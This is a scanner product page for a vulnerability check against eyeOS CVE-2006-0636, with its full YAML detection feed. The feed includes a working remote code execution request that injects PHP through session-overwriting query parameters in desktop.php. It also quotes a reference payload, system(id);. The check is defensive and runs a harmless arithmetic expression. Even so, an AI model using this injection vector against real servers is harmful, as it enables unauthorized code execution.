eyeOS — 1 vulnerability check

noctis ships 1 vulnerability check for eyeOS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

eyeOS desktop.php session variable overwrite code execution

CVECVE-2006-0636
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/eyeos/CVE-2006-0636.yaml

Requests desktop.php in the web root and under /eyeOS and /eyeos and, when the page carries the eyeOS welcome banner, sends a desktop.php request whose query string overwrites the session (usr=root and the wrapup code of the eyeOptions application) with the PHP expression print(A*B) for two random numbers. The finding fires when the product of the numbers appears in the reply, which proves that PHP evaluated the attacker supplied code. The expression only prints a number; no command is run and nothing is written on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/desktop.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION%5Busr%5D=ro…
  5. Parses / computes the next value with a Rhai script
  6. Checks ex.body for [0-9]+ → finding QoD 97: eyeOS desktop.php session variable overwrite code execution

References:

Feed source — tests/vulnerabilities/eyeos/CVE-2006-0636.yaml
# eyeOS <= 0.8.9 desktop.php session variable overwrite code execution (CVE-2006-0636).
#
# Reference check: OpenVAS/Greenbone NVT `2008/eyeos_command_execution.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.80008, GPL-2.0-only). It requests desktop.php under /eyeOS,
# /eyeos and the CGI dirs, requires the ">Welcome to eyeOS v. N" banner, then overwrites
# the session through the query string (_SESSION[usr]=root, _SESSION[apps][...][wrapup]=
# system(id);) and matches uid=N gid=N in the reply.
#
# Differences from the reference check:
#   - The code run is print(A*B) for two random numbers instead of system(id): the
#     product only appears if PHP evaluated the expression, a reply that merely echoes
#     the query string cannot contain it. No command is run, nothing is written.
#   - The product is also compared with the plain desktop.php reply, so a page that
#     always prints the number cannot match.
uid: 8d761350-ace3-40aa-a136-9e97662ef2a6
name: "eyeOS desktop.php session variable overwrite code execution"
description: >-
  Requests desktop.php in the web root and under /eyeOS and /eyeos and, when the page
  carries the eyeOS welcome banner, sends a desktop.php request whose query string
  overwrites the session (usr=root and the wrapup code of the eyeOptions application)
  with the PHP expression print(A*B) for two random numbers. The finding fires when the
  product of the numbers appears in the reply, which proves that PHP evaluated the
  attacker supplied code. The expression only prints a number; no command is run and
  nothing is written on the server.
category: rce
cves: [CVE-2006-0636]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [eyeos, php, rce, code-injection, intrusive, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2006-0636"

steps:
  - id: gen
    action: script
    code: |
      let a = rand_int(1000, 9999);
      let b = rand_int(1000, 9999);
      #{ a: a, b: b, prod: "" + (a * b) }
    store_as: rv

  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/eyeOS", "/eyeos"]

  - id: init-ex
    action: set_var
    var_name: ex
    var_value: {status: 0, body: ""}

  - id: page
    action: http_request
    method: GET
    path: "{{dir}}/desktop.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: fp
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      page.status == 200 && ereg(">Welcome to eyeOS v\\. [0-9.]+", b, true)
        && stridx(b, rv.prod) < 0
    store_as: is_eyeos

  - id: exploit
    action: http_request
    method: GET
    path: "{{dir}}/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION%5Busr%5D=root&_SESSION%5Bapps%5D%5BeyeOptions.eyeapp%5D%5Bwrapup%5D=print({{rv.a}}*{{rv.b}});"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_eyeos"
    store_as: ex

  - id: verdict
    action: script
    code: |
      let b = if type_of(ex.body) == "string" { ex.body } else { "" };
      is_eyeos && ex.status == 200 && stridx(b, rv.prod) >= 0
    store_as: hit

  - id: code-exec
    action: match
    source: ex.body
    pattern: "[0-9]+"
    condition: "hit"
    on_match:
      finding:
        title: "eyeOS desktop.php session variable overwrite code execution"
        description: "desktop.php of eyeOS lets the query string overwrite the session and evaluates the wrapup code stored in it. An unauthenticated attacker can run arbitrary PHP code with the privileges of the web server. The test evaluated print(A*B) for two random numbers and found the product in the reply."
        confidence_delta: 0.67
        qod: 97
        evidence: "GET {{dir}}/desktop.php with _SESSION[apps][eyeOptions.eyeapp][wrapup]=print({{rv.a}}*{{rv.b}}); returned the evaluated product {{rv.prod}}."
        remediation: "Upgrade eyeOS to a release later than 0.8.9, or remove it; do not expose the application to untrusted networks."
      stop: true

View these feeds on GitHub